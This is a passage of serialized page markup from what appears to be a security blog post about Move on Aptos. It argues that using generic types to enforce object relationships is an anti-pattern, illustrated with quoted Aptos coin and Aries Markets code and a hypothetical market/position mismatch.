let",{"type":24,"tag":327,"props":13952,"children":13953},{"style":346},[13954],{"type":29,"value":5894},{"type":24,"tag":327,"props":13956,"children":13957},{"style":356},[13958],{"type":29,"value":13959},"x_reserve_size",{"type":24,"tag":327,"props":13961,"children":13962},{"style":346},[13963],{"type":29,"value":2744},{"type":24,"tag":327,"props":13965,"children":13966},{"style":356},[13967],{"type":29,"value":13968},"y_reserve_size",{"type":24,"tag":327,"props":13970,"children":13971},{"style":346},[13972],{"type":29,"value":1674},{"type":24,"tag":327,"props":13974,"children":13975},{"style":381},[13976],{"type":29,"value":384},{"type":24,"tag":327,"props":13978,"children":13979},{"style":356},[13980],{"type":29,"value":13981}," get_reserves_size",{"type":24,"tag":327,"props":13983,"children":13984},{"style":346},[13985],{"type":29,"value":1596},{"type":24,"tag":327,"props":13987,"children":13988},{"style":1639},[13989],{"type":29,"value":13700},{"type":24,"tag":327,"props":13991,"children":13992},{"style":346},[13993],{"type":29,"value":2744},{"type":24,"tag":327,"props":13995,"children":13996},{"style":1639},[13997],{"type":29,"value":13729},{"type":24,"tag":327,"props":13999,"children":14000},{"style":346},[14001],{"type":29,"value":14002},", LP>(",{"type":24,"tag":327,"props":14004,"children":14005},{"style":356},[14006],{"type":29,"value":14007},"pool_addr",{"type":24,"tag":327,"props":14009,"children":14010},{"style":346},[14011],{"type":29,"value":583},{"type":24,"tag":25,"props":14013,"children":14014},{},[14015,14017,14023,14025,14032],{"type":29,"value":14016},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":284,"props":14018,"children":14020},{"className":14019},[],[14021],{"type":29,"value":14022},"ty_args",{"type":29,"value":14024}," ",{"type":24,"tag":57,"props":14026,"children":14029},{"href":14027,"rel":14028},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[61],[14030],{"type":29,"value":14031},"at the vm level",{"type":29,"value":14033},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":25,"props":14035,"children":14036},{},[14037,14039,14045,14047,14053,14055,14061,14062,14068],{"type":29,"value":14038},"In pseucode, this checks that ",{"type":24,"tag":284,"props":14040,"children":14042},{"className":14041},[],[14043],{"type":29,"value":14044},"coin_x.type",{"type":29,"value":14046}," is equal to ",{"type":24,"tag":284,"props":14048,"children":14050},{"className":14049},[],[14051],{"type":29,"value":14052},"pool.x_type",{"type":29,"value":14054},", and ",{"type":24,"tag":284,"props":14056,"children":14058},{"className":14057},[],[14059],{"type":29,"value":14060},"coin_y.type",{"type":29,"value":14046},{"type":24,"tag":284,"props":14063,"children":14065},{"className":14064},[],[14066],{"type":29,"value":14067},"pool.y_type",{"type":29,"value":66},{"type":24,"tag":25,"props":14070,"children":14071},{},[14072],{"type":29,"value":14073},"This type system has two advantages",{"type":24,"tag":175,"props":14075,"children":14076},{},[14077,14089],{"type":24,"tag":179,"props":14078,"children":14079},{},[14080,14082,14087],{"type":29,"value":14081},"It's required. The type parameter ",{"type":24,"tag":42,"props":14083,"children":14084},{},[14085],{"type":29,"value":14086},"must",{"type":29,"value":14088}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":179,"props":14090,"children":14091},{},[14092],{"type":29,"value":14093},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":25,"props":14095,"children":14096},{},[14097],{"type":29,"value":14098},"However, this system isn't perfect.",{"type":24,"tag":25,"props":14100,"children":14101},{},[14102,14104,14109],{"type":29,"value":14103},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":188,"props":14105,"children":14106},{},[14107],{"type":29,"value":14108},"an anti-pattern",{"type":29,"value":66},{"type":24,"tag":25,"props":14111,"children":14112},{},[14113,14115,14121],{"type":29,"value":14114},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":284,"props":14116,"children":14118},{"className":14117},[],[14119],{"type":29,"value":14120},"CoinInfo\u003CCoinType>",{"type":29,"value":66},{"type":24,"tag":317,"props":14123,"children":14125},{"className":1553,"code":14124,"language":1552,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[14126],{"type":24,"tag":284,"props":14127,"children":14128},{"__ignoreMap":7},[14129,14156,14164,14232,14239,14246,14258,14302,14324],{"type":24,"tag":327,"props":14130,"children":14131},{"class":329,"line":330},[14132,14137,14142,14146,14151],{"type":24,"tag":327,"props":14133,"children":14134},{"style":356},[14135],{"type":29,"value":14136},"  fun",{"type":24,"tag":327,"props":14138,"children":14139},{"style":356},[14140],{"type":29,"value":14141}," initialize_internal",{"type":24,"tag":327,"props":14143,"children":14144},{"style":346},[14145],{"type":29,"value":1596},{"type":24,"tag":327,"props":14147,"children":14148},{"style":1639},[14149],{"type":29,"value":14150},"CoinType",{"type":24,"tag":327,"props":14152,"children":14153},{"style":346},[14154],{"type":29,"value":14155},">(\n",{"type":24,"tag":327,"props":14157,"children":14158},{"class":329,"line":367},[14159],{"type":24,"tag":327,"props":14160,"children":14161},{"style":551},[14162],{"type":29,"value":14163},"      // ...\n",{"type":24,"tag":327,"props":14165,"children":14166},{"class":329,"line":408},[14167,14172,14176,14180,14185,14189,14193,14197,14202,14206,14210,14214,14219,14223,14227],{"type":24,"tag":327,"props":14168,"children":14169},{"style":346},[14170],{"type":29,"value":14171},"  )",{"type":24,"tag":327,"props":14173,"children":14174},{"style":381},[14175],{"type":29,"value":1636},{"type":24,"tag":327,"props":14177,"children":14178},{"style":346},[14179],{"type":29,"value":5894},{"type":24,"tag":327,"props":14181,"children":14182},{"style":1639},[14183],{"type":29,"value":14184},"BurnCapability",{"type":24,"tag":327,"props":14186,"children":14187},{"style":346},[14188],{"type":29,"value":1596},{"type":24,"tag":327,"props":14190,"children":14191},{"style":1639},[14192],{"type":29,"value":14150},{"type":24,"tag":327,"props":14194,"children":14195},{"style":346},[14196],{"type":29,"value":1655},{"type":24,"tag":327,"props":14198,"children":14199},{"style":1639},[14200],{"type":29,"value":14201},"FreezeCapability",{"type":24,"tag":327,"props":14203,"children":14204},{"style":346},[14205],{"type":29,"value":1596},{"type":24,"tag":327,"props":14207,"children":14208},{"style":1639},[14209],{"type":29,"value":14150},{"type":24,"tag":327,"props":14211,"children":14212},{"style":346},[14213],{"type":29,"value":1655},{"type":24,"tag":327,"props":14215,"children":14216},{"style":1639},[14217],{"type":29,"value":14218},"MintCapability",{"type":24,"tag":327,"props":14220,"children":14221},{"style":346},[14222],{"type":29,"value":1596},{"type":24,"tag":327,"props":14224,"children":14225},{"style":1639},[14226],{"type":29,"value":14150},{"type":24,"tag":327,"props":14228,"children":14229},{"style":346},[14230],{"type":29,"value":14231},">) {\n",{"type":24,"tag":327,"props":14233,"children":14234},{"class":329,"line":421},[14235],{"type":24,"tag":327,"props":14236,"children":14237},{"style":551},[14238],{"type":29,"value":14163},{"type":24,"tag":327,"props":14240,"children":14241},{"class":329,"line":450},[14242],{"type":24,"tag":327,"props":14243,"children":14244},{"emptyLinePlaceholder":16},[14245],{"type":29,"value":544},{"type":24,"tag":327,"props":14247,"children":14248},{"class":329,"line":481},[14249,14254],{"type":24,"tag":327,"props":14250,"children":14251},{"style":340},[14252],{"type":29,"value":14253},"      assert!",{"type":24,"tag":327,"props":14255,"children":14256},{"style":346},[14257],{"type":29,"value":4663},{"type":24,"tag":327,"props":14259,"children":14260},{"class":329,"line":500},[14261,14266,14271,14275,14280,14284,14288,14293,14298],{"type":24,"tag":327,"props":14262,"children":14263},{"style":381},[14264],{"type":29,"value":14265},"          !",{"type":24,"tag":327,"props":14267,"children":14268},{"style":356},[14269],{"type":29,"value":14270},"exists",{"type":24,"tag":327,"props":14272,"children":14273},{"style":346},[14274],{"type":29,"value":1596},{"type":24,"tag":327,"props":14276,"children":14277},{"style":1639},[14278],{"type":29,"value":14279},"CoinInfo",{"type":24,"tag":327,"props":14281,"children":14282},{"style":346},[14283],{"type":29,"value":1596},{"type":24,"tag":327,"props":14285,"children":14286},{"style":1639},[14287],{"type":29,"value":14150},{"type":24,"tag":327,"props":14289,"children":14290},{"style":346},[14291],{"type":29,"value":14292},">>(",{"type":24,"tag":327,"props":14294,"children":14295},{"style":356},[14296],{"type":29,"value":14297},"account_addr",{"type":24,"tag":327,"props":14299,"children":14300},{"style":346},[14301],{"type":29,"value":9212},{"type":24,"tag":327,"props":14303,"children":14304},{"class":329,"line":529},[14305,14310,14314,14319],{"type":24,"tag":327,"props":14306,"children":14307},{"style":346},[14308],{"type":29,"value":14309},"          error",{"type":24,"tag":327,"props":14311,"children":14312},{"style":381},[14313],{"type":29,"value":2407},{"type":24,"tag":327,"props":14315,"children":14316},{"style":340},[14317],{"type":29,"value":14318},"already_exists",{"type":24,"tag":327,"props":14320,"children":14321},{"style":346},[14322],{"type":29,"value":14323},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":327,"props":14325,"children":14326},{"class":329,"line":538},[14327],{"type":24,"tag":327,"props":14328,"children":14329},{"style":346},[14330],{"type":29,"value":14331},"      );\n",{"type":24,"tag":25,"props":14333,"children":14334},{},[14335,14337,14342],{"type":29,"value":14336},"While this ",{"type":24,"tag":284,"props":14338,"children":14340},{"className":14339},[],[14341],{"type":29,"value":14279},{"type":29,"value":14343}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":25,"props":14345,"children":14346},{},[14347,14349,14356],{"type":29,"value":14348},"Similarly, consider ",{"type":24,"tag":57,"props":14350,"children":14353},{"href":14351,"rel":14352},"https://ariesmarkets.xyz/",[61],[14354],{"type":29,"value":14355},"Aries Markets",{"type":29,"value":14357},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":25,"props":14359,"children":14360},{},[14361,14363,14369],{"type":29,"value":14362},"Their ",{"type":24,"tag":284,"props":14364,"children":14366},{"className":14365},[],[14367],{"type":29,"value":14368},"ReserveCoinContainer",{"type":29,"value":14370}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":317,"props":14372,"children":14374},{"className":1553,"code":14373,"language":1552,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[14375],{"type":24,"tag":284,"props":14376,"children":14377},{"__ignoreMap":7},[14378,14386,14394,14435,14443,14472,14480,14516,14524,14561,14569,14606,14613,14620],{"type":24,"tag":327,"props":14379,"children":14380},{"class":329,"line":330},[14381],{"type":24,"tag":327,"props":14382,"children":14383},{"style":551},[14384],{"type":29,"value":14385},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":327,"props":14387,"children":14388},{"class":329,"line":367},[14389],{"type":24,"tag":327,"props":14390,"children":14391},{"style":551},[14392],{"type":29,"value":14393},"  /// Stored as a resources.\n",{"type":24,"tag":327,"props":14395,"children":14396},{"class":329,"line":408},[14397,14401,14406,14410,14414,14419,14423,14427,14431],{"type":24,"tag":327,"props":14398,"children":14399},{"style":334},[14400],{"type":29,"value":13365},{"type":24,"tag":327,"props":14402,"children":14403},{"style":1639},[14404],{"type":29,"value":14405}," ReserveCoinContainer",{"type":24,"tag":327,"props":14407,"children":14408},{"style":346},[14409],{"type":29,"value":1596},{"type":24,"tag":327,"props":14411,"children":14412},{"style":356},[14413],{"type":29,"value":13379},{"type":24,"tag":327,"props":14415,"children":14416},{"style":1639},[14417],{"type":29,"value":14418}," Coin0",{"type":24,"tag":327,"props":14420,"children":14421},{"style":346},[14422],{"type":29,"value":13389},{"type":24,"tag":327,"props":14424,"children":14425},{"style":356},[14426],{"type":29,"value":13394},{"type":24,"tag":327,"props":14428,"children":14429},{"style":356},[14430],{"type":29,"value":13499},{"type":24,"tag":327,"props":14432,"children":14433},{"style":346},[14434],{"type":29,"value":497},{"type":24,"tag":327,"props":14436,"children":14437},{"class":329,"line":421},[14438],{"type":24,"tag":327,"props":14439,"children":14440},{"style":551},[14441],{"type":29,"value":14442},"      /// Stores the available `Coin`.\n",{"type":24,"tag":327,"props":14444,"children":14445},{"class":329,"line":450},[14446,14451,14455,14459,14463,14468],{"type":24,"tag":327,"props":14447,"children":14448},{"style":356},[14449],{"type":29,"value":14450},"      underlying_coin",{"type":24,"tag":327,"props":14452,"children":14453},{"style":381},[14454],{"type":29,"value":1636},{"type":24,"tag":327,"props":14456,"children":14457},{"style":1639},[14458],{"type":29,"value":13370},{"type":24,"tag":327,"props":14460,"children":14461},{"style":346},[14462],{"type":29,"value":1596},{"type":24,"tag":327,"props":14464,"children":14465},{"style":1639},[14466],{"type":29,"value":14467},"Coin0",{"type":24,"tag":327,"props":14469,"children":14470},{"style":346},[14471],{"type":29,"value":4529},{"type":24,"tag":327,"props":14473,"children":14474},{"class":329,"line":481},[14475],{"type":24,"tag":327,"props":14476,"children":14477},{"style":551},[14478],{"type":29,"value":14479},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":327,"props":14481,"children":14482},{"class":329,"line":500},[14483,14488,14492,14496,14500,14504,14508,14512],{"type":24,"tag":327,"props":14484,"children":14485},{"style":356},[14486],{"type":29,"value":14487},"      collateralised_lp_coin",{"type":24,"tag":327,"props":14489,"children":14490},{"style":381},[14491],{"type":29,"value":1636},{"type":24,"tag":327,"props":14493,"children":14494},{"style":1639},[14495],{"type":29,"value":13370},{"type":24,"tag":327,"props":14497,"children":14498},{"style":346},[14499],{"type":29,"value":1596},{"type":24,"tag":327,"props":14501,"children":14502},{"style":1639},[14503],{"type":29,"value":13901},{"type":24,"tag":327,"props":14505,"children":14506},{"style":346},[14507],{"type":29,"value":1596},{"type":24,"tag":327,"props":14509,"children":14510},{"style":1639},[14511],{"type":29,"value":14467},{"type":24,"tag":327,"props":14513,"children":14514},{"style":346},[14515],{"type":29,"value":7044},{"type":24,"tag":327,"props":14517,"children":14518},{"class":329,"line":529},[14519],{"type":24,"tag":327,"props":14520,"children":14521},{"style":551},[14522],{"type":29,"value":14523},"      /// Mint capability for LP Coin.\n",{"type":24,"tag":327,"props":14525,"children":14526},{"class":329,"line":538},[14527,14532,14536,14541,14545,14549,14553,14557],{"type":24,"tag":327,"props":14528,"children":14529},{"style":356},[14530],{"type":29,"value":14531},"      mint_capability",{"type":24,"tag":327,"props":14533,"children":14534},{"style":381},[14535],{"type":29,"value":1636},{"type":24,"tag":327,"props":14537,"children":14538},{"style":1639},[14539],{"type":29,"value":14540}," MintCapability",{"type":24,"tag":327,"props":14542,"children":14543},{"style":346},[14544],{"type":29,"value":1596},{"type":24,"tag":327,"props":14546,"children":14547},{"style":1639},[14548],{"type":29,"value":13901},{"type":24,"tag":327,"props":14550,"children":14551},{"style":346},[14552],{"type":29,"value":1596},{"type":24,"tag":327,"props":14554,"children":14555},{"style":1639},[14556],{"type":29,"value":14467},{"type":24,"tag":327,"props":14558,"children":14559},{"style":346},[14560],{"type":29,"value":7044},{"type":24,"tag":327,"props":14562,"children":14563},{"class":329,"line":547},[14564],{"type":24,"tag":327,"props":14565,"children":14566},{"style":551},[14567],{"type":29,"value":14568},"      /// Burn capability for LP Coin.\n",{"type":24,"tag":327,"props":14570,"children":14571},{"class":329,"line":557},[14572,14577,14581,14586,14590,14594,14598,14602],{"type":24,"tag":327,"props":14573,"children":14574},{"style":356},[14575],{"type":29,"value":14576},"      burn_capability",{"type":24,"tag":327,"props":14578,"children":14579},{"style":381},[14580],{"type":29,"value":1636},{"type":24,"tag":327,"props":14582,"children":14583},{"style":1639},[14584],{"type":29,"value":14585}," BurnCapability",{"type":24,"tag":327,"props":14587,"children":14588},{"style":346},[14589],{"type":29,"value":1596},{"type":24,"tag":327,"props":14591,"children":14592},{"style":1639},[14593],{"type":29,"value":13901},{"type":24,"tag":327,"props":14595,"children":14596},{"style":346},[14597],{"type":29,"value":1596},{"type":24,"tag":327,"props":14599,"children":14600},{"style":1639},[14601],{"type":29,"value":14467},{"type":24,"tag":327,"props":14603,"children":14604},{"style":346},[14605],{"type":29,"value":7044},{"type":24,"tag":327,"props":14607,"children":14608},{"class":329,"line":586},[14609],{"type":24,"tag":327,"props":14610,"children":14611},{"emptyLinePlaceholder":16},[14612],{"type":29,"value":544},{"type":24,"tag":327,"props":14614,"children":14615},{"class":329,"line":1017},[14616],{"type":24,"tag":327,"props":14617,"children":14618},{"style":551},[14619],{"type":29,"value":14163},{"type":24,"tag":327,"props":14621,"children":14622},{"class":329,"line":1026},[14623],{"type":24,"tag":327,"props":14624,"children":14625},{"style":346},[14626],{"type":29,"value":13439},{"type":24,"tag":25,"props":14628,"children":14629},{},[14630,14632,14637],{"type":29,"value":14631},"When creating a ",{"type":24,"tag":284,"props":14633,"children":14635},{"className":14634},[],[14636],{"type":29,"value":14368},{"type":29,"value":14638},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":317,"props":14640,"children":14642},{"className":1553,"code":14641,"language":1552,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[14643],{"type":24,"tag":284,"props":14644,"children":14645},{"__ignoreMap":7},[14646,14688,14714,14721,14742,14787,14794,14801,14808,14844,14851],{"type":24,"tag":327,"props":14647,"children":14648},{"class":329,"line":330},[14649,14654,14658,14663,14667,14672,14676,14680,14684],{"type":24,"tag":327,"props":14650,"children":14651},{"style":340},[14652],{"type":29,"value":14653},"  public",{"type":24,"tag":327,"props":14655,"children":14656},{"style":346},[14657],{"type":29,"value":349},{"type":24,"tag":327,"props":14659,"children":14660},{"style":356},[14661],{"type":29,"value":14662},"friend",{"type":24,"tag":327,"props":14664,"children":14665},{"style":346},[14666],{"type":29,"value":1674},{"type":24,"tag":327,"props":14668,"children":14669},{"style":356},[14670],{"type":29,"value":14671},"fun",{"type":24,"tag":327,"props":14673,"children":14674},{"style":356},[14675],{"type":29,"value":4658},{"type":24,"tag":327,"props":14677,"children":14678},{"style":346},[14679],{"type":29,"value":1596},{"type":24,"tag":327,"props":14681,"children":14682},{"style":1639},[14683],{"type":29,"value":14467},{"type":24,"tag":327,"props":14685,"children":14686},{"style":346},[14687],{"type":29,"value":14155},{"type":24,"tag":327,"props":14689,"children":14690},{"class":329,"line":367},[14691,14696,14700,14705,14710],{"type":24,"tag":327,"props":14692,"children":14693},{"style":356},[14694],{"type":29,"value":14695},"      lp_store",{"type":24,"tag":327,"props":14697,"children":14698},{"style":381},[14699],{"type":29,"value":1636},{"type":24,"tag":327,"props":14701,"children":14702},{"style":381},[14703],{"type":29,"value":14704}," &",{"type":24,"tag":327,"props":14706,"children":14707},{"style":356},[14708],{"type":29,"value":14709},"signer",{"type":24,"tag":327,"props":14711,"children":14712},{"style":346},[14713],{"type":29,"value":2231},{"type":24,"tag":327,"props":14715,"children":14716},{"class":329,"line":408},[14717],{"type":24,"tag":327,"props":14718,"children":14719},{"style":551},[14720],{"type":29,"value":14163},{"type":24,"tag":327,"props":14722,"children":14723},{"class":329,"line":421},[14724,14729,14733,14738],{"type":24,"tag":327,"props":14725,"children":14726},{"style":346},[14727],{"type":29,"value":14728},"  ) ",{"type":24,"tag":327,"props":14730,"children":14731},{"style":356},[14732],{"type":29,"value":13910},{"type":24,"tag":327,"props":14734,"children":14735},{"style":1639},[14736],{"type":29,"value":14737}," Reserves",{"type":24,"tag":327,"props":14739,"children":14740},{"style":346},[14741],{"type":29,"value":497},{"type":24,"tag":327,"props":14743,"children":14744},{"class":329,"line":450},[14745,14750,14754,14759,14764,14768,14773,14777,14782],{"type":24,"tag":327,"props":14746,"children":14747},{"style":346},[14748],{"type":29,"value":14749},"      lp",{"type":24,"tag":327,"props":14751,"children":14752},{"style":381},[14753],{"type":29,"value":2407},{"type":24,"tag":327,"props":14755,"children":14756},{"style":340},[14757],{"type":29,"value":14758},"assert_is_lp_store",{"type":24,"tag":327,"props":14760,"children":14761},{"style":346},[14762],{"type":29,"value":14763},"(signer",{"type":24,"tag":327,"props":14765,"children":14766},{"style":381},[14767],{"type":29,"value":2407},{"type":24,"tag":327,"props":14769,"children":14770},{"style":340},[14771],{"type":29,"value":14772},"address_of",{"type":24,"tag":327,"props":14774,"children":14775},{"style":346},[14776],{"type":29,"value":349},{"type":24,"tag":327,"props":14778,"children":14779},{"style":356},[14780],{"type":29,"value":14781},"lp_store",{"type":24,"tag":327,"props":14783,"children":14784},{"style":346},[14785],{"type":29,"value":14786},"));\n",{"type":24,"tag":327,"props":14788,"children":14789},{"class":329,"line":481},[14790],{"type":24,"tag":327,"props":14791,"children":14792},{"emptyLinePlaceholder":16},[14793],{"type":29,"value":544},{"type":24,"tag":327,"props":14795,"children":14796},{"class":329,"line":500},[14797],{"type":24,"tag":327,"props":14798,"children":14799},{"style":551},[14800],{"type":29,"value":14163},{"type":24,"tag":327,"props":14802,"children":14803},{"class":329,"line":529},[14804],{"type":24,"tag":327,"props":14805,"children":14806},{"emptyLinePlaceholder":16},[14807],{"type":29,"value":544},{"type":24,"tag":327,"props":14809,"children":14810},{"class":329,"line":538},[14811,14816,14820,14824,14828,14832,14836,14840],{"type":24,"tag":327,"props":14812,"children":14813},{"style":340},[14814],{"type":29,"value":14815},"      move_to",{"type":24,"tag":327,"props":14817,"children":14818},{"style":346},[14819],{"type":29,"value":349},{"type":24,"tag":327,"props":14821,"children":14822},{"style":356},[14823],{"type":29,"value":14781},{"type":24,"tag":327,"props":14825,"children":14826},{"style":346},[14827],{"type":29,"value":2744},{"type":24,"tag":327,"props":14829,"children":14830},{"style":1639},[14831],{"type":29,"value":14368},{"type":24,"tag":327,"props":14833,"children":14834},{"style":346},[14835],{"type":29,"value":1596},{"type":24,"tag":327,"props":14837,"children":14838},{"style":1639},[14839],{"type":29,"value":14467},{"type":24,"tag":327,"props":14841,"children":14842},{"style":346},[14843],{"type":29,"value":4344},{"type":24,"tag":327,"props":14845,"children":14846},{"class":329,"line":547},[14847],{"type":24,"tag":327,"props":14848,"children":14849},{"style":551},[14850],{"type":29,"value":13741},{"type":24,"tag":327,"props":14852,"children":14853},{"class":329,"line":557},[14854],{"type":24,"tag":327,"props":14855,"children":14856},{"style":346},[14857],{"type":29,"value":14858},"      });\n",{"type":24,"tag":25,"props":14860,"children":14861},{},[14862],{"type":29,"value":14863},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":25,"props":14865,"children":14866},{},[14867,14869,14875,14877,14883,14885,14890],{"type":29,"value":14868},"On the other hand, consider if you have a ",{"type":24,"tag":284,"props":14870,"children":14872},{"className":14871},[],[14873],{"type":29,"value":14874},"Position\u003CT>",{"type":29,"value":14876}," and a ",{"type":24,"tag":284,"props":14878,"children":14880},{"className":14879},[],[14881],{"type":29,"value":14882},"Market\u003CT>",{"type":29,"value":14884}," where ",{"type":24,"tag":284,"props":14886,"children":14888},{"className":14887},[],[14889],{"type":29,"value":13555},{"type":29,"value":14891}," is the coin type.",{"type":24,"tag":317,"props":14893,"children":14895},{"className":1553,"code":14894,"language":1552,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[14896],{"type":24,"tag":284,"props":14897,"children":14898},{"__ignoreMap":7},[14899,14927,14955,14962,14969,14976,15004,15024,15031],{"type":24,"tag":327,"props":14900,"children":14901},{"class":329,"line":330},[14902,14906,14911,14915,14919,14923],{"type":24,"tag":327,"props":14903,"children":14904},{"style":334},[14905],{"type":29,"value":13619},{"type":24,"tag":327,"props":14907,"children":14908},{"style":1639},[14909],{"type":29,"value":14910}," Market",{"type":24,"tag":327,"props":14912,"children":14913},{"style":346},[14914],{"type":29,"value":1596},{"type":24,"tag":327,"props":14916,"children":14917},{"style":356},[14918],{"type":29,"value":13379},{"type":24,"tag":327,"props":14920,"children":14921},{"style":1639},[14922],{"type":29,"value":13486},{"type":24,"tag":327,"props":14924,"children":14925},{"style":346},[14926],{"type":29,"value":4344},{"type":24,"tag":327,"props":14928,"children":14929},{"class":329,"line":367},[14930,14935,14939,14943,14947,14951],{"type":24,"tag":327,"props":14931,"children":14932},{"style":356},[14933],{"type":29,"value":14934},"        reserves",{"type":24,"tag":327,"props":14936,"children":14937},{"style":381},[14938],{"type":29,"value":1636},{"type":24,"tag":327,"props":14940,"children":14941},{"style":1639},[14942],{"type":29,"value":13370},{"type":24,"tag":327,"props":14944,"children":14945},{"style":346},[14946],{"type":29,"value":1596},{"type":24,"tag":327,"props":14948,"children":14949},{"style":1639},[14950],{"type":29,"value":13555},{"type":24,"tag":327,"props":14952,"children":14953},{"style":346},[14954],{"type":29,"value":4529},{"type":24,"tag":327,"props":14956,"children":14957},{"class":329,"line":408},[14958],{"type":24,"tag":327,"props":14959,"children":14960},{"style":551},[14961],{"type":29,"value":13741},{"type":24,"tag":327,"props":14963,"children":14964},{"class":329,"line":421},[14965],{"type":24,"tag":327,"props":14966,"children":14967},{"style":346},[14968],{"type":29,"value":535},{"type":24,"tag":327,"props":14970,"children":14971},{"class":329,"line":450},[14972],{"type":24,"tag":327,"props":14973,"children":14974},{"emptyLinePlaceholder":16},[14975],{"type":29,"value":544},{"type":24,"tag":327,"props":14977,"children":14978},{"class":329,"line":481},[14979,14983,14988,14992,14996,15000],{"type":24,"tag":327,"props":14980,"children":14981},{"style":334},[14982],{"type":29,"value":13619},{"type":24,"tag":327,"props":14984,"children":14985},{"style":1639},[14986],{"type":29,"value":14987}," Position",{"type":24,"tag":327,"props":14989,"children":14990},{"style":346},[14991],{"type":29,"value":1596},{"type":24,"tag":327,"props":14993,"children":14994},{"style":356},[14995],{"type":29,"value":13379},{"type":24,"tag":327,"props":14997,"children":14998},{"style":1639},[14999],{"type":29,"value":13486},{"type":24,"tag":327,"props":15001,"children":15002},{"style":346},[15003],{"type":29,"value":4344},{"type":24,"tag":327,"props":15005,"children":15006},{"class":329,"line":500},[15007,15012,15016,15020],{"type":24,"tag":327,"props":15008,"children":15009},{"style":356},[15010],{"type":29,"value":15011},"        amount",{"type":24,"tag":327,"props":15013,"children":15014},{"style":381},[15015],{"type":29,"value":1636},{"type":24,"tag":327,"props":15017,"children":15018},{"style":1639},[15019],{"type":29,"value":1669},{"type":24,"tag":327,"props":15021,"children":15022},{"style":346},[15023],{"type":29,"value":2231},{"type":24,"tag":327,"props":15025,"children":15026},{"class":329,"line":529},[15027],{"type":24,"tag":327,"props":15028,"children":15029},{"style":551},[15030],{"type":29,"value":13741},{"type":24,"tag":327,"props":15032,"children":15033},{"class":329,"line":538},[15034],{"type":24,"tag":327,"props":15035,"children":15036},{"style":346},[15037],{"type":29,"value":535},{"type":24,"tag":25,"props":15039,"children":15040},{},[15041,15043,15048,15050,15055],{"type":29,"value":15042},"If ",{"type":24,"tag":284,"props":15044,"children":15046},{"className":15045},[],[15047],{"type":29,"value":14882},{"type":29,"value":15049}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":284,"props":15051,"children":15053},{"className":15052},[],[15054],{"type":29,"value":13555},{"type":29,"value":15056}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":25,"props":15058,"children":15059},{},[15060],{"type":29,"value":15061},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":317,"props":15063,"children":15065},{"className":1553,"code":15064,"language":1552,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[15066],{"type":24,"tag":284,"props":15067,"children":15068},{"__ignoreMap":7},[15069,15077,15139,15188,15240,15265,15277,15299,15307,15319],{"type":24,"tag":327,"props":15070,"children":15071},{"class":329,"line":330},[15072],{"type":24,"tag":327,"props":15073,"children":15074},{"style":551},[15075],{"type":29,"value":15076},"    /// Get the price of the token per lamport.\n",{"type":24,"tag":327,"props":15078,"children":15079},{"class":329,"line":367},[15080,15085,15089,15094,15098,15103,15107,15112,15116,15120,15125,15130,15135],{"type":24,"tag":327,"props":15081,"children":15082},{"style":356},[15083],{"type":29,"value":15084},"    public",{"type":24,"tag":327,"props":15086,"children":15087},{"style":356},[15088],{"type":29,"value":13773},{"type":24,"tag":327,"props":15090,"children":15091},{"style":340},[15092],{"type":29,"value":15093}," 